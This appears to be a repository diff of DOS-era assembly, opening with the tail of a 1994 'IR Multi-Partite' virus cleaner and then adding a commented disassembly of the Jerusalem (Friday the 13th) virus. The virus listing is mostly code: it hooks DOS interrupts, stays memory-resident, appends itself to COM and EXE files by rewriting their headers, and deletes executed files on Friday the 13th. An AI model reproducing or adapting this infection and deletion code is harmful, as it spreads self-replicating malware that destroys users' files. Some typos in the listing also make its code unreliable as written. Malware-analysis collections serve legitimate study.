int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
cmp data_15,3E8h
jne loc_2 ; Jump if not equal
mov ah,9
mov dx,offset data_2 ; ('Warning!: IR MultiPartit')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp ah,15h
jne loc_2 ; Jump if not equal
mov ax,201h
mov bx,offset data_15
mov cx,2
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
mov ax,301h
mov bx,offset data_15
mov cx,1
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
mov ah,9
mov dx,offset data_4 ; ('Drive C: MBR is now Clea')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_2:
mov ah,9
mov dx,offset data_5 ; ('Scanning the files in th')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov ah,2Fh
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
mov ah,4Eh
mov cx,7
mov dx,586h
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_4 ; Jump if carry Set
loc_3:
call sub_1
mov ah,4Fh
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_3 ; Jump if carry=0
loc_4:
jmp short $+3 ; delay for I/O
nop
int 20h ; DOS program terminate
irm_kill endp
sub_1 proc near
push ax
push bx
push cx
push dx
push di
push si
push es
push es
pop ds
push cs
pop es
mov si,bx
add si,1Eh
mov di,58Ch
mov cx,0Fh
push cx
push di
rep movsb
pop di
pop cx
xor al,al
cld
repne scasb
mov al,20h
rep stosb
mov byte ptr es:[di],24h ; '$'
pop es
push cs
pop ds
mov ah,9
mov dx,58Ch
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov ax,3D02h
mov dx,bx
add dx,1Eh
push es
pop ds
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
xor cx,cx ; Zero register
mov dx,ax
sub dx,1B9h ; EOF-441
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,3Fh
mov cx,1B9h ; 441 bytes
mov dx,offset data_15
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
cmp data_15,3E8h
jne loc_5 ; Jump if not equal
mov ah,9
mov dx,offset data_9 ; ('is infected by IR MultiP')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp ah,15h
je loc_7 ; Jump if equal
mov ah,9
mov dx,offset data_11 ; (' - No')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp short loc_6
db 90h
loc_5:
mov ah,9
mov dx,offset data_8 ; ('is clean...')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_6:
mov ah,3Eh
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov data_15,0
pop si
pop si
pop dx
pop cx
pop bx
pop ax
retn
loc_7:
mov ah,9
mov dx,offset data_10 ; (' - Yes')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push cx
push dx
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov cx,3
mov dx,offset data_17
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
xor cx,cx ; Zero register
mov dx,ax
sub dx,1B9h
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov cx,0
mov dx,offset data_15
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
pop dx
pop cx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
jmp short loc_6
sub_1 endp
data_1 db 'IR Multi-Partite Virus Killer by'
db ' -+ RatMan +-', 0Ah, 0Dh
copyright db '(C) 1994 RatMan - This program i'
db 's free of charge for all use'
db 'rs.', 0Ah, 0Dh, 'DISCLAIMER: Thi'
db 's software is provided "AS IS" '
db 'without warranty of any kind,', 0Ah
db 0Dh, 'either expressed or implied'
db ', including but not limmited to '
db 'the fitness for', 0Ah, 0Dh, 'any'
db ' particular purpose. The entire '
db 'risk as to its quality or perfor'
db 'mance', 0Ah, 0Dh, 'is assumed by'
db ' the user.', 0Ah, 0Dh, 0Ah, 0Dh, '$'
data_2 db 'Warning!: IR MultiPartite Virus '
db 'found in MBR of Drive C: - Clean'
db ' (Y/N)', 0Ah, 0Dh, ' (I'
db 'f the System was booted from Dri'
db 've C: you should reboot', 0Ah, 0Dh
db ' from a clean floppy b'
db 'efore trying to clean your syste'
db 'm.....)', 7, 0Ah, 0Dh, 0Ah, 0Dh, '$'
data_4 db 'Drive C: MBR is now Clean......', 0Ah
db 0Dh, 0Ah, 0Dh, '$'
data_5 db 'Scanning the files in the Curren'
db 't Directory.....', 0Ah, 0Dh, 0Ah
db 0Dh, '$'
data_6 db 'Scanner fails Self-Check.....', 7
db 0Ah, 0Dh, '$'
data_8 db 'is clean...', 0Dh, 0Ah, '$'
data_9 db 'is infected by IR MultiPartite V'
db 'irus - Clean ? (Y/N)', 7, '$'
data_10 db ' - Yes', 0Ah, 0Dh, '$'
data_11 db ' - No', 0Ah, 0Dh, '$'
db 0, 0
data_12 db 2Ah
db 2Eh, 43h, 4Fh, 4Dh, 00h
data_13 db 1
db 63 dup (1)
data_15 dw 0
db 0
data_17 db 0
db 1021 dup (0)
seg_a ends
end start
@@ -0,0 +1,753 @@
;The "Jerusalem" virus.
;Also Called - Israeli, PLO, Friday the 13th - Version A
PAGE 64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS ;
;-----------------------------------------------------------------------;
;
ORG 100H ;
;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS ;
;-----------------------------------------------------------------------;
BEGIN_COM: ;COM FILES START HERE
JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
OLD_24 DW 0556H,16A5H ;001B
A_FLAG DW 7E48H ;???
A0021 DB 000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H
A002C DW 0 ;A SEGMENT
DB 000H,000H
A0030 DB 000H
A0031 DW 0178EH ;OLD ES VALUE
A0033 DW 0080H ;
;
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
DW 80H ;COMMAND LINE ADDRESS
DW 178EH ;+4
DW 005CH ;FCB #1 ADDRESS
DW 178EH ;+8
DW 006CH ;FCB #2 ADDRESS
DW 0178EH ;+12
;
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
HOST_IP DW 00C5H ;
HOST_CS DW 347AH ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
;
A004B DW 0F010H ;
A004D DB 82H ;
A004E DB 0 ;
EXE_HDR DB 1CH DUP (?) ;004F
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
HANDLE DW 0005H ;0070
HOST_ATT DW 0020H ;0072
HOST_DATE DW 0021H ;0074
HOST_TIME DW 002DH ;0076
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
A007A DW 0010H
HOST_SIZE DW 27C0H,0001H ;007C
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
COMMAND_COM DB 'COMMAND.COM'
DB 1
A0090 DB 0,0,0,0,0
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE: ;
CLD ;
MOV AH,0E0H ;DO A ???...
INT 21H ;
;
CMP AH,0E0H ;
JNC L01B5 ;
CMP AH,3 ;
JC L01B5 ;
;
MOV AH,0DDH ;
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
ADD SI,DI ;SI = BEGINNING OF HOST CODE
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
INT 21H ;
;
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
ADD AX,10H ;
MOV SS,AX ;SS = TWEEKed CS
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
;
PUSH AX ;JMP FAR CS+10H:IP-100H
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
PUSH AX ;
RETF ;
;
;---------------------------------------;
ORG 0C5h ;
;---------------------------------------;
;
BEGIN_EXE: ;EXE FILES START HERE
CLD ;
PUSH ES ;
;
MOV CS:[A0031],ES ;
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
MOV CS:[EXEC_BLOCK+8],ES ;
MOV CS:[EXEC_BLOCK+12],ES ;
;
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
ADD AX,10H ;
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
ADD CS:[HOST_SS],AX ;
;
MOV AH,0E0H ;
INT 21H ;
;
CMP AH,0E0H ;
JNC L0106 ;00F1 7313
;
CMP AH,3 ;
POP ES ;00F6
MOV SS,CS:[HOST_SS] ;
MOV SP,CS:[HOST_SP] ;
JMP far CS:[HSOT_IP] ;
;
L0106: XOR AX,AX ;0106 33C0
MOV ES,AX ;0108 8EC0
MOV AX,ES:[03FC] ;010A 26A1FC03
MOV CS:[A004B],AX ;010E 2EA34B00
MOV AL,ES:[03FE] ;0112 26A0FE03
MOV CS:[A004D],AL ;0116 2EA24D00
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
POP AX ;0127 58
ADD AX,10H ;0128 051000
MOV ES,AX ;012B 8EC0
PUSH CS ;012D 0E
POP DS ;012E 1F
MOV CX,710H ;SIZE OF VIRUS CODE
SHR CX,1 ;0132 D1E9
XOR SI,SI ;0134 33F6
MOV DI,SI ;0136 8BFE
PUSH ES ;0138 06
MOV AX,0142 ;0139 B84201
PUSH AX ;013C 50
JMP 0000:03FC ;013D EAFC030000
;
MOV AX,CS ;0142 8CC8
MOV SS,AX ;0144 8ED0
MOV SP,700H ;0146 BC0007
XOR AX,AX ;0149 33C0
MOV DS,AX ;014B 8ED8
MOV AX,CS:[A004B] ;014D 2EA14B00
MOV [03FC],AX ;0151 A3FC03
MOV AL,CS:[A004D] ;0154 2EA04D00
MOV [03FE],AL ;0158 A2FE03
MOV BX,SP ;015B 8BDC
MOV CL,04 ;015D B104
SHR BX,CL ;015F D3EB
ADD BX,+10 ;0161 83C310
MOV CS:[A0033],BX ;
;
MOV AH,4AH ;
MOV ES,CS:[A0031] ;
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
;
MOV AX,3521 ;
INT 21H ;GET VECTOR
MOV CS:[OLD_21],BX ;
MOV CS:[OLD_21+2],ES ;
;
PUSH CS ;0181 0E
POP DS ;0182 1F
MOV DX,offset NEW_INT_21 ;0183 BA5B02
MOV AX,2521 ;
INT 21H ;SAVE VECTOR
;
MOV ES,[A0031] ;018B 8E063100
MOV ES,ES:[A002C] ;018F 268E062C00
XOR DI,DI ;0194 33FF
MOV CX,7FFFH ;0196 B9FF7F
XOR AL,AL ;0199 32C0
REPNE SCASB ;019C AE
CMP ES:[DI],AL ;019D 263805
LOOPNZ 019B ;01A0 E0F9
MOV DX,DI ;01A2 8BD7
ADD DX,+03 ;01A4 83C203
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
PUSH ES ;
POP DS ;
PUSH CS ;
POP ES ;
MOV BX,35H ;
;
PUSH DS ;01B1 ;
PUSH ES ;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
;
MOV AH,2AH ;
INT 21H ;GET DATE
;
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
;
CMP CX,1987 ;IF 1987...
JE L01F7 ;...JUMP
CMP AL,5 ;IF NOT FRIDAY...
JNE L01D8 ;...JUMP
CMP DL,0DH ;IF DATE IS NOT THE 13th...
JNE L01D8 ;...JUMP
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
JMP L01F7 ;
;
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
INT 21H ;GET VECTOR
MOV CS:[OLD_08],BX ;
MOV CS:[OLD_08],ES ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV Word ptr [A_FLAG],7E90H ;
;
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
MOV DX,offset NEW_08 ;
INT 21H ;SET VECTOR
;
L01F7: POP DX ;
POP CX ;
POP BX ;
POP AX ;
POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;
JMP N08_90 ;
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;
PUSH CX ;
PUSH SI ; THIS DELAY CODE NEVER GETS EXECUTED
MOV CX,4001H ; IN THIS VERSION
REP LODSB ;
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
MOV DS,AX ;02C9 8ED8
MOV SI,DX ;02CB 8BF2
MOV DI,DX ;02CD 8BFA
MOV BP,ES ;02CF 8CC5
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
OR BX,BX ;02D6 0BDB
JE 02ED ;02D8 7413
MOV CX,8000 ;02DA B90080
REP MOVSW ;02DE A5
ADD AX,1000 ;02DF 050010
ADD BP,1000 ;02E2 81C50010
MOV DS,AX ;02E6 8ED8
MOV ES,BP ;02E8 8EC5
DEC BX ;02EA 4B
JNE 02DA ;02EB 75ED
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
REP MOVSB ;02F3 A4
POP AX ;02F4 58
PUSH AX ;02F5 50
ADD AX,0010 ;02F6 051000
ADD CS:[0029],AX ;02F9 2E01062900
ADD CS:[0025],AX ;02FE 2E01062500
MOV AX,CS:[0021] ;0303 2EA12100
POP DS ;0307 1F
POP ES ;0308 07
MOV SS,CS:[0029] ;0309 2E8E162900
MOV SP,CS:[0027] ;030E 2E8B262700
JMP far CS:[0023] ;0313 2EFF2E2300
;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE... ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A: XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE (ATT=0)
;
MOV AH,41H ;
INT 21H ;DELETE A FILE
;
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;
;
;---------------------------------------;
; START INFECTION ;
;---------------------------------------;
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
JE N21_5A ;...JUMP
;
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
MOV Word ptr CS:[A008F],0 ;
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
MOV word ptr CS:[HOST_NAME+2],DS ;
;
;INFECTION PROCESS OCCURS HERE ;
PUSH AX ;034C 50
PUSH BX ;034D 53
PUSH CX ;034E 51
PUSH DX ;034F 52
PUSH SI ;0350 56
PUSH DI ;0351 57
PUSH DS ;0352 1E
PUSH ES ;0353 06
CLD ;0354 FC
MOV DI,DX ;0355 8BFA
XOR DL,DL ;0357 32D2
CMP Byte ptr [DI+01],3A ;0359 807D013A
JNE L0364 ;035D 7505
MOV DL,[DI] ;035F 8A15
AND DL,1F ;0361 80E21F
;
L0364: MOV AH,36 ;
INT 21H ;GET DISK FREE SPACE
CMP AX,-1 ;0368 3DFFFF
JNE L0370 ;036B 7503
L036D: JMP I_90 ;036D E97702
;
L0370: MUL BX ;0370 F7E3
MUL CX ;0372 F7E1
OR DX,DX ;0374 0BD2
JNE L037D ;0376 7505
CMP AX,710H ;0378 3D1007
JC L036D ;037B 72F0
L037D: MOV DX,word ptr CS:[HOST_NAME]
PUSH DS ;0382 1E
POP ES ;0383 07
XOR AL,AL ;0384 32C0
MOV CX,41 ;0386 B94100
REPNE SCASB ;038A AE
MOV SI,word ptr CS:[HOST_NAME]
L0390: MOV AL,[SI] ;0390 8A04
OR AL,AL ;0392 0AC0
JE L03A4 ;0394 740E
CMP AL,61 ;0396 3C61
JC L03A1 ;0398 7207
CMP AL,7A ;039A 3C7A
JA L03A1 ;039C 7703
SUB Byte ptr [SI],20 ;039E 802C20
L03A1: INC SI ;03A1 46
JMP L0390 ;03A2 EBEC
;
L03A4: MOV CX,000B ;03A4 B90B00
SUB SI,CX ;03A7 2BF1
MOV DI,offset COMMAND_COM ;03A9 BF8400
PUSH CS ;03AC 0E
POP ES ;03AD 07
MOV CX,000B ;03AE B90B00
REPE CMPSB ;03B2 A6
JNE L03B8 ;03B3 7503
JMP I_90 ;03B5 E92F02
;
L03B8: MOV AX,4300H ;
INT 21H ;CHANGE FILE MODE
JC L03C4 ;03BD 7205
;
MOV CS:[HOST_ATT],CX ;03BF ;
L03C4: JC L03EB ;03C4 7225
XOR AL,AL ;03C6 32C0
MOV CS:[A004E],AL ;03C8 2EA24E00
PUSH DS ;03CC 1E
POP ES ;03CD 07
MOV DI,DX ;03CE 8BFA
MOV CX,41 ;03D0 B94100
REPNZ SCASB ;03D4 AE
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
JE L03E6 ;03D9 740B
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
JE L03E6 ;03DF 7405
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
;
L03E6: MOV AX,3D00H ;
INT 21H ;OPEN FILE READ ONLY
L03EB: JC L0447 ;
MOV CS:[HANDLE],AX ;03ED ;
;
MOV BX,AX ;MOVE TO END OF FILE -5
MOV AX,4202 ;
MOV CX,-1 ;FFFFFFFB
MOV DX,-5 ;
INT 21H ;MOVE FILE POINTER
JC L03EB ;
;
ADD AX,5 ;0400 ;
MOV CS:[A0011],AX ;?SAVE HOST SIZE
;
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
MOV DX,offset A006B ;
MOV AX,CS ;
MOV DS,AX ;
MOV ES,AX ;
MOV AH,3FH ;
INT 21H ;READ FROM A FILE
;
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
MOV SI,offset MS_DOS ;
REPE CMPSB ;
JNE L0427 ;
MOV AH,3E ;IF == 'MsDos'...
INT 21H ;CLOSE FILE
JMP I_90 ;...PASS CONTROL TO DOS
;
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
INT 21H ;GET VECTOR
MOV [OLD_24],BX ;
MOV [OLD_24+2],ES ;
;
MOV DX,offset NEW_24 ;
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
INT 21H ;SET VECTOR
;
LDS DX,dword ptr [HOST_NAME];
XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
L0447: JC L0484 ;
;
MOV BX,CS:[HANDLE] ;
MOV AH,3E ;
INT 21H ;CLOSE FILE
;
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
;
MOV AX,3D02 ;
INT 21H ;OPEN FILE R/W
JC L0484 ;
;
MOV CS:[HANDLE],AX ;0460 2EA37000
MOV AX,CS ;0464 8CC8
MOV DS,AX ;0466 8ED8
MOV ES,AX ;0468 8EC0
MOV BX,[HANDLE] ;046A 8B1E7000
MOV AX,5700 ;046E B80057
INT 21H ;GET/SET FILE DATE TIME
;
MOV [HOST_DATE],DX ;0473 89167400
MOV [HOST_TIME],CX ;0477 890E7600
MOV AX,4200 ;047B B80042
XOR CX,CX ;047E 33C9
MOV DX,CX ;0480 8BD1
INT 21H ;MOVE FILE POINTER
L0484: JC L04C3 ;0484 723D
;
CMP Byte ptr [A004E],00 ;0486 803E4E0000
JE L0490 ;048B 7403
JMP L04E6 ;048D EB57
;
NOP ;048F 90
L0490: MOV BX,1000 ;0490 BB0010
MOV AH,48 ;0493 B448
INT 21H ;ALLOCATE MEMORY
JNC L04A4 ;0497 730B
;
MOV AH,3E ;0499 B43E
MOV BX,[HANDLE] ;049B 8B1E7000
INT 21H ;CLOSE FILE (OBVIOUSLY)
JMP I_90 ;04A1 E94301
;
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
MOV ES,AX ;04A8 8EC0
XOR SI,SI ;04AA 33F6
MOV DI,SI ;04AC 8BFE
MOV CX,710H ;04AE B91007
REP MOVSB ;04B2 A4
MOV DX,DI ;04B3 8BD7
MOV CX,[A0011] ;?GET HOST SIZE - YES
MOV BX,[70H] ;04B9 8B1E7000
PUSH ES ;04BD 06
POP DS ;04BE 1F
MOV AH,3FH ;04BF B43F
INT 21H ;READ FROM A FILE
L04C3: JC L04E1 ;04C3 721C
;
ADD DI,CX ;04C5 03F9
;
XOR CX,CX ;POINT TO BEGINNING OF FILE
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
;
MOV SI,offset MS_DOS ;04D0 BE0500
MOV CX,5 ;04D3 B90500
REP CS:MOVSB ;04D7 2EA4
MOV CX,DI ;04D9 8BCF
XOR DX,DX ;04DB 33D2
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L04E1: JC L04F0 ;
JMP L05A2 ;
;
;---------------------------------------;
; READ EXE HEADER ;
;---------------------------------------;
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
MOV DX,offset EXE_HDR ;
MOV AH,3F ;
INT 21H ;READ FILE
JC L053C ;
;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT ;
;---------------------------------------;
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
MOV AX,[EXE_HDR+14] ; SS
MOV [HOST_SS],AX ;
MOV AX,[EXE_HDR+16] ; SP
MOV [HOST_SP],AX ;
MOV AX,[EXE_HDR+20] ; IP
MOV [HOST_IP],AX ;
MOV AX,[EXE_HDR+22] ; CS
MOV [HOST_CS],AX ;
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
JZ L051B ;IF FILE SIZE==0...JMP
DEC AX ;
L051B: MUL Word ptr [BLOCK_SIZE] ;
ADD AX,[EXE_HDR+2] ;
ADC DX,0 ;AX NOW = FILE SIZE
;
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
ADC DX,0 ;
AND AX,0FFF0H ;
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
MOV [HOST_SIZE+2],DX ;
;
ADD AX,710H ;(SIZE OF VIRUS)
ADC DX,0 ;
L053C: JC L0578 ;IF > FFFFFFFF...JMP
DIV Word ptr [BLOCK_SIZE] ;
OR DX,DX ;
JE L0547 ;
INC AX ;
L0547: MOV [EXE_HDR+4],AX ;
MOV [EXE_HDR+2],DX ;
;---------------;
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
MOV DX,[HOST_SIZE+2] ;
DIV Word ptr [A007A] ;
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
MOV [EXE_HDR+22],AX ;VALUE OF CS
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
MOV [EXE_HDR+14],AX ;VALUE OF SS
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
;---------------;
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
L0578: JC L0584 ;
;
;---------------------------------------;
; WRITE INFECTED EXE HEADER ;
;---------------------------------------;
MOV CX,1CH ;
MOV DX,offset EXE_HDR ;
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L0584: JC L0597 ;
CMP AX,CX ;
JNE L05A2 ;
;
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
MOV CX,[HOST_SIZE+2] ;
MOV AX,4200 ;
INT 21H ;MOVE FILE POINTER
L0597: JC L05A2 ;
;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
XOR DX,DX ;
MOV CX,710H ;(SIZE OF VIRUS)
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
;
L05A2: CMP Word ptr CS:[008F],0 ;IF...
JZ L05AE ;...SKIP
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
JE I_90 ;...SKIP
;
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
MOV DX,CS:[HOST_DATE] ;
MOV CX,CS:[HOST_TIME] ;
MOV AX,5701H ;
INT 21H ;GET/SET FILE DATE/TIME
;
MOV AH,3EH ;
INT 21H ;CLOSE FILE
;
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
MOV CX,CS:[HOST_ATT] ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
;
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
MOV AX,2524H ;
INT 21H ;SET VECTOR
;
I_90: POP ES ;
POP DS ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------
@@ -0,0 +1,882 @@
PAGE 64,132
